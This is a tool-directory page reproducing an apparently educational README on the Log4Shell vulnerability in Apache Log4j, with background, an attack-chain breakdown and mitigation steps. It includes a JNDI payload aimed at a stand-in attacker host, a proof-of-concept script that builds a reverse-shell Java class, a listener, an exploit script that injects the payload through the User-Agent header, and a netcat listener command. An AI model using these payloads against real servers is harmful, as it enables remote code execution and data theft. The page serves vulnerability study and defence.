Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228 — Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2021-44228
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkaleth4/cve-2021-44228

CVE-2021-44228

Educational analysis of CVE-2021-44228 (Log4Shell) with PoC scripts, attack vector breakdown, and mitigation guidance for understanding and testing the critical RCE vulnerability in Apache Log4j.

View Repository
124 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛡️ CVE-2021-44228: Log4Shell Analysis - The Vulnerability That Revolutionized Java Security

Critical Impact (CVSS 10.0) | Discovered in 2021, this flaw in Apache Log4j allows remote code execution (RCE) and affects millions of systems globally. Even today, it remains a key reminder for cybersecurity!

Severity: Critical
Affected: Apache Log4j 2.x
Discovered: 2021


🔍 What is Log4Shell?

CVE-2021-44228, known as Log4Shell, is a critical Remote Code Execution (RCE) vulnerability in the Apache Log4j 2 logging library. This flaw allows malicious attackers to execute arbitrary code on vulnerable servers simply by sending a specially crafted text string that the application logs.

  • Why is it so dangerous? Log4j is ubiquitous in Java applications, including cloud services, web apps, and enterprise software. Its exploitation does not require authentication and can easily propagate through user inputs such as HTTP headers, forms, or chats.
  • Discovered by: Chen Zhaojun from Alibaba Cloud Security (November 2021). Publicly disclosed on December 9, 2021, triggering global alerts from CISA, NCSC, and more.
  • Global impact: Affected hundreds of millions of devices. Companies like Minecraft, Twitter, and Cisco were impacted. Massive attacks were observed: >100 per minute at its peak.
  • Log4Shell is not alone; it led to CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS), and CVE-2021-4104 (RCE in Log4j 1.2).


    💀 Attack Vector and Operation

    The core of the problem is the unsafe handling of JNDI (Java Naming and Directory Interface) in Log4j, which resolves remote lookups without sanitization.

    Basic Payload Example

    root@kitploit:~
    ${jndi:ldap://attacker.com:1389/Exploit}
    

    How it works:

    1. The attacker injects the payload into a logged message (e.g., User-Agent in HTTP).
    2. Log4j detects ${...} and triggers a JNDI lookup.
    3. The vulnerable server connects to the attacker's LDAP/RMI/DNS server.
    4. A malicious Java class is downloaded and executed (e.g., reverse shell).

    Exploitable protocols: LDAP, RMI, DNS, IIOP, etc. This enables threats such as:

    • Coinmining: Resource theft for crypto mining.
    • Ransomware: Data encryption (e.g., Khonsari, Night Sky).
    • DoS/DDoS: System overload (e.g., via Mirai botnet).
    • Lateral movement: Tools like Cobalt Strike for escalation.

    Infection Chain (Kill Chain):

    1. Reconnaissance: Port and header scanning to detect Log4j.
    2. Injection: Sending the payload through unsanitized inputs.
    3. Resolution: JNDI contacts the attacker's server.
    4. Execution: Malicious code is loaded and run (e.g., malware download like Kinsing).
    5. Persistence: Exfiltration of credentials (/etc/passwd, /etc/shadow) or backdoor installation.

    📈 Technical Details

    FeatureDetail
    CVSS v3.1 Score10.0 (CRITICAL) 🔥 - Highest possible severity.
    Affected VersionsLog4j 2.0-beta9 to 2.14.1 (includes derivatives up to 2.16.0 for sub-CVEs).
    Root CauseJNDI message substitution without validation; remote lookups enabled.
    VectorsRemote, unauthenticated; affects Java 8+ in web/cloud apps.
    Impacted ProductsApache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter, and more.
    ExploitationEasy: public PoCs on GitHub; no privileges needed.

    Impact Statistics:

    • 90% of cloud environments initially exposed.

    • Exploited by state-sponsored groups (China, North Korea) and cybercriminals.
    • Initial patch: Log4j 2.15.0 (December 2021), but incomplete; safe version: 2.17.1+.

    🚀 Educational Proof of Concept (PoC)

    ⚠️ Warning: This content is for educational purposes and authorized testing only. Do not use on systems without explicit permission. Exploiting vulnerabilities without authorization is illegal (e.g., violates laws like CFAA in the U.S.). Always perform ethical pentesting.

    Based on public repositories like kozmer/log4j-shell-poc, here is a simplified overview of a PoC in controlled environments (e.g., local Docker/VM).

    General Steps for Simulation (Vulnerable Environment)

    1. Clone the Repo: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
    2. Build Docker: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
    3. Install Vulnerable Java (e.g., JDK 8u202): Download from trusted mirrors, extract, and configure path (e.g., /usr/bin/jdk1.8.0_202).
    4. Modify PoC Script (poc.py): Adjust Java paths and IPs. Example corrected snippet (simplified version):
    root@kitploit:~
    #!/usr/bin/env python3
    import argparse
    from colorama import Fore, init
    import subprocess
    import threading
    from pathlib import Path
    import os
    from http.server import HTTPServer, SimpleHTTPRequestHandler
    
    CUR_FOLDER = Path(__file__).parent.resolve()
    
    def generate_payload(userip: str, lport: int) -> None:
        program = f"""
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    public class Exploit {{
        public Exploit() throws Exception {{
            String host="{userip}";
            int port={lport};
            String cmd="/bin/sh";
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            // ... (simplified reverse shell code)
        }}
    }}
    """
        p = CUR_FOLDER / "Exploit.java"
        try:
            p.write_text(program)
            subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
            print(Fore.GREEN + '[+] Exploit class generated successfully')
        except Exception as e:
            print(Fore.RED + f'[-] Error: {e}')
    
    # ... (functions for LDAP server and web server similar to original)
    
    def main():
        init(autoreset=True)
        print(Fore.BLUE + "[!] Educational PoC for CVE-2021-44228 - Use only in labs!")
        # Arguments: --userip localhost --webport 8000 --lport 9001
        # Starts LDAP, web server and generates payload
    
    if __name__ == "__main__":
        main()
    
    1. Run: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
    2. Listener (Netcat): nc -lvnp 9001 - Monitor the reverse shell.
    3. Inject Payload: In the vulnerable app (http://localhost:8080), use ${jndi:ldap://127.0.0.1:1389/a} in a login/search field.
    4. Verify: Connection in Netcat; terminal logs show JNDI resolution.

    Simple Python PoC (Listener + Exploit): For quick demos, use this duo of scripts (run listener first).

    listener.py:

    root@kitploit:~
    import socket
    import threading
    
    def start_listener(ip, port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((ip, port))
        server.listen(1)
        print(f"[*] Listener on {ip}:{port}...")
        conn, addr = server.accept()
        print(f"[+] Connection from {addr}")
        data = conn.recv(4096)
        print(data.decode('utf-8', errors='ignore'))
        conn.close()
    
    if __name__ == "__main__":
        threading.Thread(target=start_listener, args=("0.0.0.0", 1389)).start()
        input("Press Enter to stop...\n")  # Keeps alive
    

    exploit.py:

    root@kitploit:~
    import requests
    import argparse
    
    def send_exploit(target, lhost, lport):
        payload = f"${{jndi:ldap://{lhost}:{lport}/Exploit}}"
        headers = {'User-Agent': payload}
        try:
            r = requests.get(target, headers=headers, timeout=10)
            print(f"[+] Sent to {target} | Status: {r.status_code}")
        except Exception as e:
            print(f"[!] Error: {e}")
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument("-t", "--target", required=True)
        parser.add_argument("-l", "--lhost", required=True)
        parser.add_argument("-p", "--lport", type=int, default=1389)
        args = parser.parse_args()
        send_exploit(args.target, args.lhost, args.lport)
    

    Execution: python3 listener.py & python3 exploit.py -t "http://target:8080" -l "127.0.0.1"

    Notes: Requires Marshalsec for simulated LDAP. Test only in isolated labs.


    🛡️ Mitigation and Patches

    Act now! Log4Shell is preventable with updates and configurations.

    1. Recommended Update (High Priority)

    • Upgrade to Log4j 2.17.1 or higher (disables JNDI by default).
    • Download: Apache Log4j Releases.
    • Check indirect dependencies with tools like mvn dependency:tree or Snyk.

    2. Quick Fixes (Temporary)

    • JVM Flag: -Dlog4j2.formatMsgNoLookups=true
    • Environment: LOG4J_FORMAT_MSG_NO_LOOKUPS=true
    • Log4j Config: In log4j2.xml, add <Configuration xmlns:log4j="..."> <property name="log4j2.formatMsgNoLookups" value="true"/></Configuration>

    3. Manual Removal

    root@kitploit:~
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    
    • Removes JNDI classes from JARs.

    4. Additional Measures

    • WAF/IPS: Block ${jndi:*} payloads (e.g., rules in ModSecurity or Cloudflare).
    • Scanning: Use tools like Nuclei or Nessus to detect vulnerable versions.
    • Virtual Patching: Implement on firewalls to block remote lookups.
    • Monitoring: Update antivirus/EDR (e.g., Seqrite IPS rules for Log4Shell).

    For Derived CVEs:

    • CVE-2021-45046: Upgrade to 2.16.0+ and disable message lookups.
    • CVE-2021-45105: Avoid recursive lookups in non-default configs.
    • CVE-2021-4104: Do not use JMSAppender with JNDI in Log4j 1.2.

    📚 Additional Resources

    • Official:
      • NVD - CVE-2021-44228
      • Apache Log4j Security Bulletin
    • Guides:
      • Microsoft Defender: Log4Shell Guidance
      • Tenable: FAQs on Log4Shell
      • Trend Micro: Impact and Mitigation
    • Educational PoCs: GitHub - Log4j Shell PoC (with legal disclaimer).
    • Advanced Analysis: Seqrite: Indiscriminate Exploitation

    This README.md is for educational purposes and cybersecurity awareness. It does not promote illegal activities. If you are a security professional, evaluate your environment with tools like OWASP Dependency-Check. Keep your systems updated for a safer world! 🔒

    Last updated: Based on data up to 2023. Check official sources for updates.

    Download Tool